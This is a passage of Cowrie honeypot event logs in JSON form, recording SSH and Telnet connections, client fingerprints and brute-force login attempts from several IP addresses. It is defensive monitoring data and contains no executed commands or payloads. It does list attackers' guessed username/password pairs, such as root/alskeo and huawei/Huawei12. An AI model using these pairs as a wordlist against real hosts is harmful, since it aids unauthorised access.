{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50618,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b7cb7c10df","protocol":"ssh","message":"New connection: 95.38.165.118:50618 (10.17.0.5:22) [session: 65b7cb7c10df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:28.007183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:28.017939Z","src_ip":"95.38.165.118","session":"65b7cb7c10df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:28.233576Z","src_ip":"95.38.165.118","session":"65b7cb7c10df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:29.409397Z","src_ip":"95.38.165.118","session":"65b7cb7c10df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:30.854850Z","src_ip":"95.38.165.118","session":"65b7cb7c10df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.239.106.153","src_port":35676,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e972ce548b7","protocol":"ssh","message":"New connection: 77.239.106.153:35676 (159.203.135.109:22) [session: 6e972ce548b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:32.100273Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:32.105367Z","src_ip":"77.239.106.153","session":"6e972ce548b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:32.199442Z","src_ip":"77.239.106.153","session":"6e972ce548b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arkserver","password":"ark","message":"login attempt [arkserver/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:32.603065Z","src_ip":"77.239.106.153","session":"6e972ce548b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":50630,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d3baf4af15d","protocol":"ssh","message":"New connection: 95.38.165.118:50630 (10.17.0.5:22) [session: 5d3baf4af15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.672506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.677701Z","src_ip":"95.38.165.118","session":"5d3baf4af15d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.699992Z","src_ip":"77.239.106.153","session":"6e972ce548b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.852321Z","src_ip":"95.38.165.118","session":"5d3baf4af15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":54748,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4775181daac","protocol":"ssh","message":"New connection: 109.237.96.109:54748 (159.203.135.109:22) [session: d4775181daac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.938884Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:33.943278Z","src_ip":"109.237.96.109","session":"d4775181daac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:34.039097Z","src_ip":"109.237.96.109","session":"d4775181daac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alskeo","message":"login attempt [root/alskeo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:34.319495Z","src_ip":"109.237.96.109","session":"d4775181daac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:35.415590Z","src_ip":"109.237.96.109","session":"d4775181daac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser","message":"login attempt [fastuser/fastuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:35.693347Z","src_ip":"95.38.165.118","session":"5d3baf4af15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"180.235.129.180","src_port":51600,"dst_ip":"10.17.0.5","dst_port":23,"session":"b02fe55e23a6","protocol":"telnet","message":"New connection: 180.235.129.180:51600 (10.17.0.5:23) [session: b02fe55e23a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:36.471445Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:36.862597Z","src_ip":"95.38.165.118","session":"5d3baf4af15d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.97.82","src_port":60788,"dst_ip":"159.203.135.109","dst_port":22,"session":"f230c9970603","protocol":"ssh","message":"New connection: 43.245.97.82:60788 (159.203.135.109:22) [session: f230c9970603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:38.504314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:38.509196Z","src_ip":"43.245.97.82","session":"f230c9970603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:38.754529Z","src_ip":"43.245.97.82","session":"f230c9970603","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35684,"dst_ip":"10.17.0.5","dst_port":22,"session":"c44e2985544c","protocol":"ssh","message":"New connection: 95.38.165.118:35684 (10.17.0.5:22) [session: c44e2985544c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:39.088558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:39.207841Z","src_ip":"95.38.165.118","session":"c44e2985544c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.26435732841492,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:39.275381Z","src_ip":"69.4.83.194","session":"25dca3f3fcb2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:39.769204Z","src_ip":"43.245.97.82","session":"f230c9970603","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:39.827165Z","src_ip":"95.38.165.118","session":"c44e2985544c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:41.017474Z","src_ip":"43.245.97.82","session":"f230c9970603","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"huawei","password":"Huawei12","message":"login attempt [huawei/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:42.589135Z","src_ip":"95.38.165.118","session":"c44e2985544c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:44.288395Z","src_ip":"95.38.165.118","session":"c44e2985544c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":35694,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca8f4cbd5e3b","protocol":"ssh","message":"New connection: 95.38.165.118:35694 (10.17.0.5:22) [session: ca8f4cbd5e3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:45.105478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:45.112226Z","src_ip":"95.38.165.118","session":"ca8f4cbd5e3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:45.279845Z","src_ip":"95.38.165.118","session":"ca8f4cbd5e3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"omm","password":"omm","message":"login attempt [omm/omm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:46.640326Z","src_ip":"95.38.165.118","session":"ca8f4cbd5e3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:47.812956Z","src_ip":"95.38.165.118","session":"ca8f4cbd5e3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46236,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dfcee0f29a2","protocol":"ssh","message":"New connection: 95.38.165.118:46236 (10.17.0.5:22) [session: 4dfcee0f29a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:51.524780Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:51.530054Z","src_ip":"95.38.165.118","session":"4dfcee0f29a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:51.702502Z","src_ip":"95.38.165.118","session":"4dfcee0f29a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranga","password":"ranga","message":"login attempt [ranga/ranga] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:54.604377Z","src_ip":"95.38.165.118","session":"4dfcee0f29a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.38.165.118","src_port":46250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b89418ba89fd","protocol":"ssh","message":"New connection: 95.38.165.118:46250 (10.17.0.5:22) [session: b89418ba89fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:55.711068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T00:56:55.721130Z","src_ip":"95.38.165.118","session":"b89418ba89fd","protocol":"ssh"}
